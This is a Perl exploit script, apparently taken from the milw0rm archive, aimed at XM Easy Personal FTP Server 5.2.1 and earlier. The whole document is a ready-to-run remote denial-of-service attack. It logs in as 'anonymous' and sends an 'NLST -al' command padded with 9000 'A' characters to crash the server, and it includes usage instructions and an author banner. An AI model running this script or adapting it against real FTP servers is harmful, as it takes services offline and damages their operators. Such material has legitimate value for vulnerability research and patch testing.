XM Easy Personal FTP Server <= 5.2.1 - Remote Denial of Service Exploit

#!/usr/bin/perl # # * # * Title: XM Easy Personal FTP Server &#60;= 5.2.1 &#39;NLST -al&#39; Remote Denial of Service # * Author: boecke # * Discovery: boecke # * Vulnerability Type: Remote Denial of Service # * Risk: Low Risk (Requires valid # * Software Affected: XM Easy Personal FTP Server &#60;= 5.2.1 # * Greetings: henrik, str0ke! # * # use IO::Socket; $commandToSend = &#34;NLST -al &#34;; $remoteUsername = &#34;anonymous&#34;; $remotePassword = &#34;borat\@kik.com&#34;; $remotePort = $ARGV[1]; sub bannerExploit() { print &#34;\n x XM Easy Personal FTP Server &#60;= v5.2.1 Remote Denial of Service\n&#34;; print &#34; x Author: boecke\n x Discovery: boecke (boecke [at] herzeleid [dot] net)\n\n&#34;; } if ( @ARGV &#60; 2 ) { bannerExploit(); print &#34; * Usage: perl ftp.pl 192.168.0.1 21\n\n&#34;; exit; } if ($socket = IO::Socket::INET-&#62;new( PeerAddr =&#62; $ARGV[0], PeerPort =&#62; $remotePort, Proto =&#62; &#34;TCP&#34; )) { bannerExploit(); print &#34; + Establishing connection at &#34; . $ARGV[0] . &#34;:&#34; . $remotePort . &#34;\n&#34;; print $socket &#34;USER &#34; . $remoteUsername . &#34;\r\n&#34;; print &#34; * FTP Username: \&#39;&#34; . $remoteUsername . &#34;\&#39;\n&#34;; sleep( 1 ); print $socket &#34;PASS &#34; . $remotePassword . &#34;\r\n&#34;; print &#34; * FTP Password: \&#39;&#34; . $remotePassword . &#34;\&#39;\n&#34;; print $socket $commandToSend . &#34;A&#34; x 9000 . &#34;\r\n&#34;; sleep( 3 ); print $socket &#34;QUIT\r\n&#34;; print &#34; + Sent 9000 bytes of data to $ARGV[0]:$remotePort\n\n&#34;; } else { bannerExploit(); print &#34; + Failed to establish connection to &#34; . $ARGV[0] . &#34;:&#34; . $remotePort . &#34;\n&#34;; } # milw0rm.com [2006-11-04]